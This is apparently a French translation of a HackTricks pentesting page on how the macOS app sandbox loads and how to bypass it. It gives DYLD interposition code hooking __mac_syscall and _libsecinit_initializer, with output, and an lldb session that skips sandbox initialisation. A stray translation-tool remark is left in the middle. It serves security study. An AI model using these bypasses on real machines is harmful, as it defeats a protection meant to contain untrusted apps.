# Débogage et contournement du bac à sable macOS
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Processus de chargement du bac à sable

Image de http://newosxbook.com/files/HITSB.pdf

Dans l'image précédente, il est possible d'observer **comment le bac à sable sera chargé** lorsqu'une application avec le droit **`com.apple.security.app-sandbox`** est exécutée. Le compilateur liera `/usr/lib/libSystem.B.dylib` au binaire. Ensuite, **`libSystem.B`** appellera plusieurs autres fonctions jusqu'à ce que **`xpc_pipe_routine`** envoie les droits de l'application à **`securityd`**. Securityd vérifie si le processus doit être mis en quarantaine dans le bac à sable, et si c'est le cas, il sera mis en quarantaine.\ Finalement, le bac à sable sera activé avec un appel à **`__sandbox_ms`** qui appellera **`__mac_syscall`**. ## Contournements possibles ### Contourner l'attribut de quarantaine **Les fichiers créés par les processus en bac à sable** se voient ajouter l'**attribut de quarantaine** pour empêcher les évasions du bac à sable. Cependant, si vous parvenez à **créer un dossier `.app` sans l'attribut de quarantaine** au sein d'une application en bac à sable, vous pourriez faire en sorte que le binaire du bundle d'applications pointe vers **`/bin/bash`** et ajouter des variables d'environnement dans le **plist** pour abuser de **`open`** afin de **lancer la nouvelle application hors bac à sable**. C'est ce qui a été fait dans [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** {% hint style="danger" %} Par conséquent, actuellement, si vous êtes juste capable de créer un dossier avec un nom se terminant par **`.app`** sans attribut de quarantaine, vous pouvez échapper au bac à sable car macOS ne **vérifie** l'attribut de **quarantaine** que dans le dossier **`.app`** et dans l'**exécutable principal** (et nous ferons pointer l'exécutable principal vers **`/bin/bash`**). Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un xttr de quarantaine avec le drapeau autorisé à exécuter activé), vous pourriez également en abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles **`.app`** à moins que vous n'ayez des permissions TCC privilégiées (que vous n'aurez pas dans un bac à sable élevé). {% endhint %} ### Abuser de la fonctionnalité Open Dans les [**derniers exemples de contournement du bac à sable Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv), on peut voir comment la fonctionnalité cli **`open`** pourrait être abusée pour contourner le bac à sable. {% content-ref url="macos-office-sandbox-bypasses.md" %} [macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md) {% endcontent-ref %} ### Agents/Démons de lancement Même si une application est **censée être en bac à sable** (`com.apple.security.app-sandbox`), il est possible de contourner le bac à sable si elle est **exécutée à partir d'un LaunchAgent** (`~/Library/LaunchAgents`) par exemple.\ Comme expliqué dans [**ce post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), si vous souhaitez obtenir de la persistance avec une application en bac à sable, vous pourriez la faire exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib. ### Abuser des emplacements de démarrage automatique Si un processus en bac à sable peut **écrire** à un endroit où **plus tard une application non en bac à sable exécutera le binaire**, il pourra **s'échapper simplement en plaçant** là le binaire. Un bon exemple de ce type d'emplacements sont `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`. Pour cela, vous pourriez même avoir besoin de **2 étapes** : Faire exécuter votre code par un processus avec un bac à sable **plus permissif** (`file-read*`, `file-write*`) qui écrira réellement à un endroit où il sera **exécuté hors bac à sable**. Consultez cette page sur les **emplacements de démarrage automatique** : {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ### Abuser d'autres processus Si depuis le processus en bac à sable vous êtes capable de **compromettre d'autres processus** fonctionnant dans des bacs à sable moins restrictifs (ou aucun), vous pourrez vous échapper vers leurs bacs à sable : {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} ### Compilation statique et liaison dynamique [**Cette recherche**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) a découvert 2 façons de contourner le bac à sable. Parce que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque **libSystem** est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable : * Si le binaire était **entièrement compilé statiquement**, il pourrait éviter de charger cette bibliothèque. * Si le **binaire n'avait pas besoin de charger de bibliothèques** (car l'éditeur de liens est également dans libSystem), il n'aurait pas besoin de charger libSystem. ### Shellcodes Notez que **même les shellcodes** en ARM64 doivent être liés à `libSystem.dylib` : ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` ### Droits Notez que même si certaines **actions** pourraient être **autorisées par le sandbox** si une application possède un droit spécifique, comme dans : ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) (allow mach-lookup (global-name "com.apple.airportd") (global-name "com.apple.cfnetwork.AuthBrokerAgent") (global-name "com.apple.cfnetwork.cfnetworkagent") [...] ``` ### Contournement par Interposition Pour plus d'informations sur **l'Interposition**, consultez : {% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} [macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md) {% endcontent-ref %} #### Interposer `_libsecinit_initializer` pour empêcher le sandbox ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include void _libsecinit_initializer(void); void overriden__libsecinit_initializer(void) { printf("_libsecinit_initializer called\n"); } __attribute__((used, section("__DATA,__interpose"))) static struct { void (*overriden__libsecinit_initializer)(void); void (*_libsecinit_initializer)(void); } _libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer}; ``` ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` #### Interposer `__mac_syscall` pour prévenir le Sandbox {% code title="interpose.c" %} ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include // Forward Declaration int __mac_syscall(const char *_policyname, int _call, void *_arg); // Replacement function int my_mac_syscall(const char *_policyname, int _call, void *_arg) { printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call); if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) { printf("Bypassing Sandbox initiation.\n"); return 0; // pretend we did the job without actually calling __mac_syscall } // Call the original function for other cases return __mac_syscall(_policyname, _call, _arg); } // Interpose Definition struct interpose_sym { const void *replacement; const void *original; }; // Interpose __mac_syscall with my_mac_syscall __attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = { { (const void *)my_mac_syscall, (const void *)__mac_syscall }, }; ``` Since there is no English text provided other than the markdown endcode tag, there is nothing to translate. If you provide the English text, I can translate it into French for you. ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 0 Bypassing Sandbox initiation. __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` ### Débogage et contournement du Sandbox avec lldb Compilons une application qui devrait être mise en sandbox : {% tabs %} {% tab title="sand.c" %} ```c #include int main() { system("cat ~/Desktop/del.txt"); } ``` ```xml {% endtab %} {% tab title="entitlements.xml" %} ``` ```xml com.apple.security.app-sandbox ``` {% endtab %} {% tab title="Info.plist" %} ```xml CFBundleIdentifier xyz.hacktricks.sandbox CFBundleName Sandbox ``` {% endtab %} {% endtabs %} Puis compilez l'application : {% code overflow="wrap" %} ```bash # Compile it gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand # Create a certificate for "Code Signing" # Apply the entitlements via signing codesign -s --entitlements entitlements.xml sand ``` {% endcode %} {% hint style="danger" %} L'application va essayer de **lire** le fichier **`~/Desktop/del.txt`**, ce que le **Sandbox ne permettra pas**.\ Créez un fichier à cet endroit car une fois le Sandbox contourné, il pourra être lu : ```bash echo "Sandbox Bypassed" > ~/Desktop/del.txt ``` {% endhint %} Débuggons l'application pour voir quand le Sandbox est chargé : ```bash # Load app in debugging lldb ./sand # Set breakpoint in xpc_pipe_routine (lldb) b xpc_pipe_routine # run (lldb) r # This breakpoint is reached by different functionalities # Check in the backtrace is it was de sandbox one the one that reached it # We are looking for the one libsecinit from libSystem.B, like the following one: (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584 frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64 frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80 frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272 # To avoid lldb cutting info (lldb) settings set target.max-string-summary-length 10000 # The message is in the 2 arg of the xpc_pipe_routine function, get it with: (lldb) p (char *) xpc_copy_description($x1) (char *) $0 = 0x000000010100a400 " { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => { count = 42, capacity = 64, contents =\n\t\t0: { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: { length = 35, contents = \"/usr/lib/system/libcorecry"... # The 3 arg is the address were the XPC response will be stored (lldb) register read x2 x2 = 0x000000016fdfd660 # Move until the end of the function (lldb) finish # Read the response ## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY (lldb) memory read -f p 0x000000016fdfd660 -c 1 0x16fdfd660: 0x0000600003d04000 (lldb) p (char *) xpc_copy_description(0x0000600003d04000) (char *) $4 = 0x0000000100204280 " { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => : 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => : { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => : 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => : 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => : 0\n}" # To bypass the sandbox we need to skip the call to __mac_syscall # Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox) (lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)' (lldb) c # The 1 arg is the name of the policy, in this case "Sandbox" (lldb) memory read -f s $x0 0x19300eb22: "Sandbox" # # BYPASS # # Due to the previous bp, the process will be stopped in: Process 2517 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall libsystem_kernel.dylib`: -> 0x187659900 <+0>: mov x16, #0x17d 0x187659904 <+4>: svc #0x80 0x187659908 <+8>: b.lo 0x187659928 ; <+40> 0x18765990c <+12>: pacibsp # To bypass jump to the b.lo address modifying some registers first (lldb) breakpoint delete 1 # Remove bp (lldb) register write $pc 0x187659928 #b.lo address (lldb) register write $x0 0x00 (lldb) register write $x1 0x00 (lldb) register write $x16 0x17d (lldb) c Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` {% hint style="warning" %} **Même avec le contournement du Sandbox, TCC** demandera à l'utilisateur s'il souhaite autoriser le processus à lire les fichiers du bureau {% endhint %} ## Références * [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) * [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) * [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres moyens de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).